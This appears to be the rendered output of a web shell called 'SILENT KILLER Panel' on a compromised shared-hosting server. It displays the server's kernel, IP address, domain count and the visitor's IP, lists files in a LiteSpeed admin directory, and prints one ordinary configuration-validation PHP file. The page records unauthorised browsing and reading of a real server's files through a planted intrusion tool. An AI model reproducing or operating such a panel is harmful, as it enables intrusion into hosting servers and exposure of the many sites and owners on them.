SILENT KILLERPanel

Current Path: > > usr > local > lsws > admin > > html > > classes > ws


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //usr/local/lsws/admin//html//classes/ws

NameTypeSizeLast ModifiedActions
CLIENT.php File 9314 bytes August 05 2025 14:49:11.
ConfCenter.php File 32900 bytes August 05 2025 14:49:11.
ConfValidation.php File 994 bytes August 05 2025 14:49:11.
DATTR_HELP_inc.php File 248603 bytes August 05 2025 14:49:11.
DAttr.php File 2225 bytes August 05 2025 14:49:11.
DPageDef.php File 13961 bytes August 05 2025 14:49:11.
DTblDef.php File 119662 bytes August 05 2025 14:49:11.
GUI.php File 2403 bytes August 05 2025 14:49:11.
PRODUCT.php File 2327 bytes August 05 2025 14:49:11.
ReqProbe.php File 5331 bytes August 05 2025 14:49:11.
STATS.php File 8755 bytes August 05 2025 14:49:11.
Service.php File 17851 bytes August 05 2025 14:49:11.

Reading File: //usr/local/lsws/admin//html//classes/ws/ConfValidation.php

<?php

class ConfValidation extends CValidation
{
	protected function validatePostTbl($tbl, &$d)
	{
		$isValid = parent::validatePostTbl($tbl, $d);
		
		if ($tbl->_id == 'VH_SECHL') {
			$res = $this->chkPostTbl_VH_SECHL($d);
			$this->setValid($isValid, $res);
		}
		return $isValid;
	}
	
	protected function chkPostTbl_VH_SECHL(&$d)
	{
		$isValid = 1;
		if ( $d['enableHotlinkCtrl']->GetVal() == '0' ) {
			if ( isset($d['suffixes']) && !$d['suffixes']->HasVal() ) {
				$d['suffixes']->SetErr(null);
			}
			if ( isset($d['allowDirectAccess']) && !$d['allowDirectAccess']->HasVal() ) {
				$d['allowDirectAccess']->SetErr(null);
			}
			if ( isset($d['onlySelf']) && !$d['onlySelf']->HasVal() ) {
				$d['onlySelf']->SetErr(null);
			}
			$isValid = 2;
		} else {
			if ( $d['onlySelf']->GetVal() == '0'
			&&  !$d['allowedHosts']->HasVal() ) {
				$d['allowedHosts']->SetErr('Must be specified if "Only Self Reference" is set to No');
				$isValid = -1;
			}
		}
		return $isValid;
	}

	
}

SILENT KILLER Tool